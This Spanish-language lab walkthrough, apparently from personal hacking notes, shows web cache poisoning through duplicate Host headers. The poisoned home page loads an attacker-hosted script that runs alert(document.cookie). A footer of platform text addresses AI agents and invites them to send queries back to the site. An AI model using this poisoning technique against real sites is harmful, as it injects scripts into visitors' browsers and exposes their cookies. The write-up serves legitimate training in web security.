> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).

# Envenenamiento de caché web mediante solicitudes ambiguas

### Envenenamiento de caché web mediante solicitudes ambiguas

**Descripción del laboratorio**

Este laboratorio es vulnerable a una **envenenamiento de caché web** debido a diferencias en cómo el **Sistema de caché** y **Servidor de backend** interpretan las solicitudes ambiguas. / Un usuario legítimo visita regularmente la página de inicio del sitio.

\*\* Objetivo:\*\*/ Envenenar la caché para que la página de inicio se ejecute `alert(document.cookie)` en el navegador de la víctima.

**Observación inicial**

* Las respuestas HTTP contienen un encabezado que indica una antigüedad de caché de 30 segundos\*\* (`Age: 30`), lo que confirma el uso de un mecanismo de caché.
* El comportamiento del servidor varía según la estructura de la solicitud, especialmente en el `Host` cabecera.

<figure><img src="/files/82b68c14dee17b0b72d489d0de5ba37d3834558c" alt=""><figcaption></figcaption></figure>

**Prueba con Host inválido**

Cambiando el `Host` encabezado con un valor inexistente:

```http
Host: wfwfkowf.com
```

La respuesta devuelta es un error Gateway Timeout, lo que indica que el servidor está intentando resolver este valor:

{% code overflow="wrap" %}

```html
<html>
    <head>
        <title>
            Error del servidor: Gateway Timeout
        </title>
    </head>
    <body>
        <h1>
            Error del servidor: Gateway Timeout (1) al conectar con wfwfkowf.com
        </h1>
    </body>
</html>
```

{% endcode %}

Este enfoque está bloqueado y, por lo tanto, no puede explotarse directamente

<figure><img src="/files/b9b388460c58e0458709c34850b74b379bd2d0fd" alt=""><figcaption></figcaption></figure>

**Uso de dos encabezados Host**

Enviando **dos `Host` encabezados en la misma solicitud**:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```

* La aplicación responde normalmente.
* El valor del **segundo Host** se refleja en el recurso cargado del lado del cliente (por ejemplo, en un `src` atributo).

<figure><img src="/files/3f4a2ae6964df3664097a0527c529fd12fd7df75" alt=""><figcaption></figcaption></figure>

Esto revela una \*\* interpretación\*\* inconsistente entre la caché y el back-end

**Preparación del payload**

En el servidor operativo, se crea un archivo JavaScript:

/resources/js/tracking.js

Contenido :

```javascript
alert(document.cookie);
```

<figure><img src="/files/3669d74e5f03f8731ba14777e69394945dc54c1d" alt=""><figcaption></figcaption></figure>

**Envenenamiento de caché**

Se envía una nueva solicitud con dos `Host` encabezados, el segundo apuntando al servidor operativo:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```

* El back-end acepta la solicitud.
* La caché registra la respuesta envenenada.

<figure><img src="/files/cac99d3f6f610ccd6c3b0bd30e05fcedd33d7560" alt=""><figcaption></figcaption></figure>

La página de inicio ahora hace referencia al script JavaScript alojado en el servidor del atacante.

<figure><img src="/files/e84842ec3aa01618dd52b6bfe7758e53c3e6cff1" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
